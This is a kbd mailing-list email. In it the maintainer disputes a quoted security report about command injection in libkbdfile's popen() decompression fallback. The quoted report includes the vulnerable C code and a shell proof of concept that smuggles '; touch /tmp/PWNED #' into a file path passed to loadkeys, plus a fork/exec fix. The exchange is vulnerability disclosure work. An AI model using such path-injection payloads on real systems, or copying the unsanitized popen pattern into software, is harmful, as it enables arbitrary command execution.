From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-wr1-f50.google.com (mail-wr1-f50.google.com [209.85.221.50]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id E8B9D3CE4B5 for ; Thu, 16 Jul 2026 10:12:00 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.221.50 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1784196722; cv=none; b=ZyX8gw38pzFEFm1dw8KXrys7UMLcdI0Zr1Mi0ENN+IwdBehYDyPYuKEl8ix0fVB2GTc4AL7IhCZMprBR6sEKUmhKhe63JDf4WyY7Ns1UQwrIgbZepeYZOaReEN1nFL6Lb1EDC0OuG/7jhCiR5XXoxBzROw19oQ0MGWpj1/y9oxA= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1784196722; c=relaxed/simple; bh=v1T9dGPUMuBaywrOpl1k1GmFz2tSsamTktKBGS2WfRc=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=TkD0s4AsWG9UfaT09trhCkY2YfeWiaaKToz9o5e1sJkitKxQ4o1ASlv+X8kIFcCXyACBWkUU+TfQWddZZPc1MWN3wLdKddknFxmqFm1QpVgzRnUeTuKP7hfVb9fYsemXBAQua6Fc2hKc25XkAM3t59EEj2GWc6/Dk6sdAEnODNQ= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=DWJVxB5t; arc=none smtp.client-ip=209.85.221.50 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="DWJVxB5t" Received: by mail-wr1-f50.google.com with SMTP id ffacd0b85a97d-4759b4f0897so1783174f8f.1 for ; Thu, 16 Jul 2026 03:12:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1784196719; x=1784801519; darn=lists.linux.dev; h=in-reply-to:content-transfer-encoding:content-disposition :content-type:mime-version:references:message-id:subject:cc:to:from :date:from:to:cc:subject:date:message-id:reply-to:content-type; bh=CiQcVMplDq4ih4wLRFs34t/sPNRdo4I0o9US7Qqxrck=; b=DWJVxB5tFMN2AL3S4DdWoB6mWKGn2pNSMIPgsUN4Tp5xEd6JaNRzOYj3f1Kt7bKL7v iF3/u3907t/sJ6Yg+tJhBiOlwQ9GDSIwTnBjV/E9zLX56n+2J6E4lOKFo3WxRh6KoqvF isgV0GE0hq1qA1sC/sfQLEs8QURuw3bqmqSDYlAjEgYZzKlgpsoOeTTH4tLvb26vlY8B ImD7rBCFi/vR1bhlRRnKZR8SyuoTAWZl6nk2ZMBPe7MJvoN8A1y8YfSIy16vzif71BdO OWzDIHhM6cUioMlD9ZlQbEBD7oSr5Er4Ht6a6GTAsQZtey8l5zq2oGBC3wU7uZJR7nXS VEFA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1784196719; x=1784801519; h=in-reply-to:content-transfer-encoding:content-disposition :content-type:mime-version:references:message-id:subject:cc:to:from :date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id :reply-to:content-type; bh=CiQcVMplDq4ih4wLRFs34t/sPNRdo4I0o9US7Qqxrck=; b=e7ukjHkr7Ic7Qy8+T/+F6J3Izrc4GgN9uXfg3UeTYmgkgRxslbNwurUsOd2H7Ryits OR1XRj+sPxTrUGUgzgWeQSC5sy162vAjUtObHw0L+lDlAKfZjI64EM2UGWKl7RcZ/CC+ dXW6JOBgeA7X0suoOrd/4TmjzYF3XKsDoN83Auuti+pTXDrQUQxlmDuYY/IySvKrth4M oYWjz2GO/wTy+NAPAf5iZtW04co8PffhXeGVjYTBwo+PigYlfO+LMAJewef4OjHMxSS4 326iWZTVM93DUzrZj9Z7ZUxZRkyOWOTR9kAm+d2gk4+61uhTrOlxhWVoPkaK8shpAuqc /UWg== X-Gm-Message-State: AOJu0Yw+v/sxEkPKnhPts2HsTtmowvNCIEaywZNRITLls6IEzeBNtU4k vqpDvW1qEAsoobDPy/Gmebhqz3LwVij4XdQaZlPPUqMtUsmJgD27TzpV X-Gm-Gg: AfdE7ckLUiIf8evn96p421/9RPnXBSGyskM0KDpOFtomuzWfWO3P78N2t4lBGP7QUKX q1JtC59uBoUQnZhpAghNmshjV6lKKkjNE8c2RH/seg4bgQFD3EW8ukQ/VK3IbVol6+br8vZZsQN SoxXlD7O/6IwNseqLbim7qqDX43OGoL6boX09zA4v101dBFrWDco/yNh09Z4xcD6OSX4cLjBuin +a+Mvl936/Ghw6VmkVoUJY4LbBEV8Hs3yvrha3DTcdH9u8k/DwGgtuAq6C2ekZt8CghvASzYGNn hpdwNgvQZXeuntvSt1N+z7E9gm1Yb24OZ1r9M+2l0Hr+aFtUMKtUWQ2s5vJ5gsJgVyCPAsFDTtC oJJI1yBjlYCrgFTn3Zi8KaC0lEJwQYGBf8u4cVbKukSR2T7qrc9YetWUm09/n3h6sLp2sTXqBwO YsZmMiPz9QNj2PmHWURucyZ6nntwv+RJpfGi7Pjpl6Qrg= X-Received: by 2002:a05:600c:6989:b0:493:bfbf:1da4 with SMTP id 5b1f17b1804b1-493f881de65mr212999915e9.22.1784196718699; Thu, 16 Jul 2026 03:11:58 -0700 (PDT) Received: from example.org (ip-94-112-152-157.bb.vodafone.cz. [94.112.152.157]) by smtp.gmail.com with ESMTPSA id 5b1f17b1804b1-49541e7f8aesm51114305e9.1.2026.07.16.03.11.57 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 16 Jul 2026 03:11:58 -0700 (PDT) Date: Thu, 16 Jul 2026 12:11:56 +0200 From: Alexey Gladkov To: Sakib Sarkar Cc: kbd@lists.linux.dev Subject: Re: Security: OS command injection. Message-ID: References: Precedence: bulk X-Mailing-List: kbd@lists.linux.dev List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: On Thu, Jul 16, 2026 at 02:47:35PM +0700, Sakib Sarkar wrote: > Hello, > The report is a markdown file and attached. > Please let me know if more information is needed Thanks for the report. > Thanks > Sakib Sarkar > # Command Injection in libkbdfile Decompression Fallback > > **CWE:** CWE-78 (OS Command Injection) > **Component:** `src/libkbdfile/kbdfile.c` — `kbd` project (legionus/kbd) > **Affected consumers:** `loadkeys`, `setfont`, `psfxtable` psfxtable is not intended for use on the system at all. You're missing the point that the `loadkeys` and `setfont` tools should be controlled exclusively by root. The root should not execute them with untrusted arguments; otherwise, an incorrect filename will be the least of his problems. I don't find the described PoC relevant because if an attacker controls the path to the keymap, he will be able to gain control of the system in another way by using the keymap. > --- > > ## 1. Summary > > `libkbdfile`, the shared file-opening layer used by `loadkeys`, `setfont`, and `psfxtable`, builds a shell command string from an unsanitized file path and executes it via `popen()` when its in-process decompression fallback is unavailable. A path containing shell metacharacters results in arbitrary command execution in the context of the process running the affected tool. > > Because the vulnerable code lives in the shared library rather than in any individual binary, **every consumer of libkbdfile inherits the bug** — this is not specific to one tool's argument parsing. > > --- > > ## 2. Technical Details > > ### 2.1 Root cause > > In `src/libkbdfile/kbdfile.c`: > > - `open_pathname()` inspects the first two bytes of a file for known compression magic. If a match is found, it first tries the corresponding in-process decompressor (loaded at runtime via `dlopen` against libz/liblzma/libzstd/libbz2). > - If that decompressor is unavailable (library not installed, `dlopen` fails) and `KBDFILE_IGNORE_DECOMP_UTILS` is not set, it falls back to `pipe_open()` (kbdfile.c:149–167): > > ```c > static int > pipe_open(const struct decompressor *dc, struct kbdfile *fp) > { > char *pipe_cmd; > > pipe_cmd = malloc(strlen(dc->cmd) + strlen(fp->pathname) + 2); > if (pipe_cmd == NULL) > return -1; > > sprintf(pipe_cmd, "%s %s", dc->cmd, fp->pathname); > > fp->fd = popen(pipe_cmd, "r"); > ... > } > ``` > > `fp->pathname` is the caller-supplied path, set directly via `kbdfile_set_pathname()` or constructed with an appended suffix (`.gz`/`.bz2`/`.xz`/`.zst`) in `maybe_pipe_open()`. It is never shell-quoted, escaped, or validated. `popen()` invokes `/bin/sh -c` on the resulting string, so shell metacharacters (`;`, `|`, `` ` ``, `$()`, etc.) in the path are interpreted by the shell rather than treated as a literal filename. > > ### 2.2 Trigger conditions > > The vulnerable path is reached when: > 1. A file's magic bytes (or suffix, via `maybe_pipe_open()`'s retry logic) match a supported compression format, **and** > 2. The in-process decompressor for that format is unavailable at runtime (missing shared library dependency). > > This makes the bug latent/environment-dependent: on systems where zlib/liblzma/etc. are always present, the in-process path is taken and the shell fallback is never reached. On minimal or stripped-down systems (containers, embedded images, custom installs), the fallback becomes live. > > ### 2.3 Proof of concept > > ```sh > #!/bin/sh > # PoC: command injection via unsanitized path in kbdfile pipe_open fallback > set -e > WORK="/tmp/x; touch /tmp/PWNED #" > mkdir -p "$WORK" > printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff' > "$WORK/evil.gz" > loadkeys "$WORK/evil.gz" 2>/dev/null || true > [ -e /tmp/PWNED ] && echo "VULNERABLE" || echo "not triggered (in-process decompressor present)" > ``` > > With libz absent, `loadkeys` resolves the gzip magic, the in-process decompressor returns `NULL`, and `pipe_open()` executes `gzip -d -c /tmp/x; touch /tmp/PWNED #/evil.gz` via the shell — the `;` terminates the intended command and runs the injected one. > > --- > > ## 3. Remediation > > 1. **Primary fix — eliminate the shell entirely.** Replace the `popen()`-based fallback with a direct `fork()`/`execvp()` (or `posix_spawn`) call using an argv array, so the path is never interpreted by `/bin/sh`: > > ```c > static int > pipe_open(const struct decompressor *dc, struct kbdfile *fp) > { > int pipefd[2]; > pid_t pid; > > if (pipe(pipefd) != 0) > return -1; > > pid = fork(); > if (pid == 0) { > dup2(pipefd[1], STDOUT_FILENO); > close(pipefd[0]); > close(pipefd[1]); > execlp(dc->cmd_token, dc->cmd_token, fp->pathname, (char *)NULL); > _exit(127); > } > close(pipefd[1]); > fp->fd = fdopen(pipefd[0], "r"); > return (fp->fd == NULL) ? -1 : 0; > } > ``` -- Rgrds, legion